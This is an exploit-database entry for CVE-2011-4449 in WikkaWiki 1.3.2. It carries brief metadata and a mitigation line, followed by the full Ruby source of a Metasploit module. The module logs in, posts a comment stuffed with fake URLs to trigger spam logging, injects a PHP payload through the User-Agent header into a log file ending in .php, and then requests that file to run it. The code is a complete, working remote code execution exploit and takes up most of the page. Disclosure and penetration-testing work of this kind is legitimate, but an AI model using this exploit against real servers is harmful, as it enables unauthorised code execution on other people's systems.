header-logo
Suggest Exploit
vendor:
WikkaWiki
by:
EgiX, sinn3r
7,5
CVSS
HIGH
PHP Injection
94
CWE
Product Name: WikkaWiki
Affected Version From: 1.3.2 r1814
Affected Version To: 1.3.2 r1814
Patch Exists: YES
Related CWE: CVE-2011-4449
CPE: a:wikkawiki:wikkawiki:1.3.2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2011

WikkaWiki 1.3.2 Spam Logging PHP Injection

This module exploits a vulnerability found in WikkaWiki. When the spam logging feature is enabled, it is possible to inject PHP code into the spam log file via the UserAgent header, and then request it to execute our payload. There are at least three different ways to trigger spam protection, this module does so by generating 10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).

Mitigation:

Disable the spam logging feature or upgrade to the latest version of WikkaWiki.
Source

Exploit-DB raw data:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
			'Description'    => %q{
					This module exploits a vulnerability found in WikkaWiki.  When the spam logging
				feature is enabled, it is possible to inject PHP code into the spam log file via the
				UserAgent header , and then request it to execute our payload.  There are at least
				three different ways to trigger spam protection, this module does so by generating
				10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).

					Please note that in order to use the injection, you must manually pick a page
				first that allows you to add a comment, and then set it as 'PAGE'.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'EgiX',   #Initial discovery, PoC
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-4449'],
					['OSVDB', '77391'],
					['EDB', '18177'],
					['URL', 'http://wush.net/trac/wikka/ticket/1098']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Arch'           => ARCH_PHP,
			'Platform'       => ['php'],
			'Targets'        =>
				[
					['WikkaWiki 1.3.2 r1814', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 30 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('USERNAME',  [true, 'WikkaWiki username']),
				OptString.new('PASSWORD',  [true, 'WikkaWiki password']),
				OptString.new('PAGE',      [true, 'Page to inject']),
				OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
			], self.class)
	end


	def check
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{target_uri.path}wikka.php?wakka=HomePage"
		})

		if res and res.body =~ /Powered by WikkaWiki/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end


	#
	# Get the cookie before we do any of that login/exploity stuff
	#
	def get_cookie
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{@base}wikka.php"
		})

		# Get the cookie in this format:
		# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
		if res and res.headers['Set-Cookie']
			cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
		else
			raise RuntimeError, "#{@peer} - No cookie found, will not continue"
		end

		cookie
	end


	#
	# Do login, and then return the cookie that contains our credential
	#
	def login(cookie)
		# Send a request to the login page so we can obtain some hidden values needed for login
		uri = "#{@base}wikka.php?wakka=UserSettings"
		res = send_request_raw({
			'method'  => 'GET',
			'uri'     => uri,
			'cookie'  => cookie
		})

		# Extract the hidden fields
		login = {}
		if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
			fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
			fields.each do |name, value|
				login[name] = value
			end
		else
			raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
		end

		# Add the rest of fields required for login
		login['action']       = 'login'
		login['name']         = datastore['USERNAME']
		login['password']     = datastore['PASSWORD']
		login['do_redirect']  = 'on'
		login['submit']       = "Login"
		login['confpassword'] = ''
		login['email']        = ''

		port = (rport.to_i == 80) ? "" : ":#{rport}"
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => uri,
			'cookie'    => cookie,
			'headers'   => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
			'vars_post' => login
		})

		if res and res.headers['Set-Cookie'] =~ /user_name/
			user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
			pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
			cookie_cred = "#{cookie}; #{user}; #{pass}"
		else
			cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
			raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
		end

		return cookie_cred
	end


	#
	# After login, we inject the PHP payload
	#
	def inject_exec(cookie)
		# Get the necessary fields in order to post a comment
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
			'cookie' => cookie
		})

		fields = {}
		if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
			$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
				fields[n] = v
			end
		else
			raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
		end

		# Generate enough URLs to trigger spam logging
		urls = ''
		10.times do |i|
			urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
		end

		# Add more fields
		fields['body']   = urls
		fields['submit'] = 'Add'

		# Inject payload
		b64_payload = Rex::Text.encode_base64(payload.encoded)
		port = (rport.to_i == 80) ? "" : ":#{rport}"
		uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
		post_data = ""
		send_request_cgi({
			'method'    => 'POST',
			'uri'       => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
			'cookie'    => cookie,
			'headers'   => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
			'vars_post' => fields,
			'agent'     => "<?php #{payload.encoded} ?>"
		})

		send_request_raw({
			'method' => 'GET',
			'uri'    => "#{@base}spamlog.txt.php"
		})
	end


	def exploit
		@peer = "#{rhost}:#{rport}"

		@base = target_uri.path
		@base << '/' if @base[-1, 1] != '/'

		print_status("#{@peer} - Getting cookie")
		cookie = get_cookie

		print_status("#{@peer} - Logging in")
		cred = login(cookie)

		print_status("#{@peer} - Triggering spam logging")
		inject_exec(cred)

		handler
	end
end


=begin
For testing:
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka

Open wikka.config.php, do:
'spam_logging' => '1'
=end